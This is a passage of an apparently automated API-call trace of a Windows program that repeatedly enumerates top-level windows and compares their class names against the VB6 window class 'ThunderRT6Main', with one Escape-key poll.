	[0081.504] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.504] GetWindowThreadProcessId (in: hWnd=0x3010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0081.504] GetWindow (hWnd=0x3010e, uCmd=0x2) returned 0x20116
	[0081.504] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52
	[0081.504] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1
	[0081.504] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0081.504] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a
	[0081.504] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40
	[0081.504] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1
	[0081.504] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0081.504] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148
	[0081.504] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18
	[0081.504] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1
	[0081.504] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0081.504] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e
	[0081.504] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12
	[0081.504] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1
	[0081.504] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0081.504] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132
	[0081.504] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16
	[0081.504] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1
	[0081.504] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0081.504] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134
	[0081.504] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.505] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.505] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0081.505] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a
	[0081.505] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20
	[0081.505] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1
	[0081.505] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0081.505] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c
	[0081.505] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.505] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.505] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0081.505] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120
	[0081.505] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15
	[0081.505] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1
	[0081.505] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0081.505] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122
	[0081.505] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.505] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.505] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0081.505] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e
	[0081.505] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0081.505] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0081.505] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0081.505] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0
	[0081.505] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.505] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.505] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.505] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae
	[0081.505] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43
	[0081.505] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1
	[0081.505] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.505] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0
	[0081.505] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24
	[0081.505] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1
	[0081.505] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.505] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4
	[0081.505] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.505] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.505] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.505] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc
	[0081.505] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.505] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.505] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.506] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca
	[0081.506] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.506] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.506] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.506] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0
	[0081.506] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0081.506] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0081.506] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.506] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018
	[0081.506] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8
	[0081.506] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1
	[0081.506] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0081.506] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a
	[0081.506] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.506] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.506] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0081.506] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c
	[0081.506] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22
	[0081.506] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1
	[0081.506] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0081.506] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016
	[0081.506] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.506] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.506] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0081.506] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2
	[0081.506] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21
	[0081.506] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0081.506] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0081.506] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108
	[0081.506] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.506] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.506] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0081.506] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106
	[0081.506] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0081.506] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0081.506] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588
	[0081.506] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102
	[0081.506] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0081.506] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0081.506] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0081.507] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc
	[0081.507] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0081.507] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0081.507] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544
	[0081.507] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e
	[0081.507] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0081.507] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0081.507] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.507] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084
	[0081.507] GetClassNameA (in: hWnd=0x10084, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0081.507] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0081.507] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518
	[0081.507] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082
	[0081.507] GetClassNameA (in: hWnd=0x10082, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0081.507] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0081.507] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.507] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e
	[0081.507] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19
	[0081.507] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0081.507] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0
	[0081.507] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080
	[0081.507] GetClassNameA (in: hWnd=0x10080, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.507] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.507] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0
	[0081.507] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076
	[0081.507] GetClassNameA (in: hWnd=0x10076, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.507] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.507] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.507] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064
	[0081.507] GetClassNameA (in: hWnd=0x10064, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.507] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.507] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.507] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110
	[0081.507] GetClassNameA (in: hWnd=0x10110, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="#43") returned 3
	[0081.507] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1
	[0081.507] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c
	[0081.507] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112
	[0081.507] GetClassNameA (in: hWnd=0x10112, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.507] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.507] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c
	[0081.508] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060
	[0081.508] GetClassNameA (in: hWnd=0x10060, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24
	[0081.508] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1
	[0081.508] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.508] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c
	[0081.508] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
	[0081.508] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
	[0081.508] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.508] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042
	[0081.508] GetClassNameA (in: hWnd=0x10042, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10
	[0081.508] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1
	[0081.508] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0081.508] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e
	[0081.508] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8
	[0081.508] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1
	[0081.508] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0081.508] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048
	[0081.508] GetClassNameA (in: hWnd=0x10048, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3
	[0081.508] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1
	[0081.508] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124
	[0081.508] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040
	[0081.508] GetClassNameA (in: hWnd=0x10040, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.508] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.508] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0081.508] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe
	[0081.508] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0081.508] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0081.508] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0081.508] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c
	[0081.508] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.508] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.508] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688
	[0081.508] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a
	[0081.508] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17
	[0081.508] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1
	[0081.508] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688
	[0081.508] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec
	[0081.508] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Progman") returned 7
	[0081.508] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1
	[0081.508] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0081.508] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0
	[0081.509] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x715f970
	[0081.509] IMalloc:Free (This=0x7feffc15380, pv=0x715f970) 
	[0081.797] GetAsyncKeyState (vKey=27) returned 0
	[0081.797] GetCurrentThreadId () returned 0x8e8
	[0081.797] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0081.797] GetDesktopWindow () returned 0x10010
	[0081.797] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140
	[0081.798] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20
	[0081.798] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1
	[0081.798] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0081.798] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a
	[0081.798] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.798] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.798] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0081.798] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138
	[0081.798] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15
	[0081.798] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1
	[0081.798] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0081.798] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc
	[0081.798] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.798] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.798] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.798] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8
	[0081.798] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.798] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.798] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.798] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0
	[0081.798] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.798] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.798] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.798] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072
	[0081.798] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.798] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.798] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.798] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070
	[0081.798] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.798] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.799] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.799] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c
	[0081.799] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.799] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.799] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.799] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a
	[0081.799] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.799] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.799] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.799] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a
	[0081.799] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.799] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.799] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.799] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078
	[0081.799] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.799] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.799] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.799] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074
	[0081.799] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0081.799] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0081.799] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.799] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052
	[0081.799] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0081.799] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0081.799] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.799] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e
	[0081.799] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0081.799] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0081.799] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.799] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054
	[0081.799] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Button") returned 6
	[0081.799] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1
	[0081.799] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.799] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050
	[0081.799] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13
	[0081.799] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1
	[0081.799] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0081.799] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4
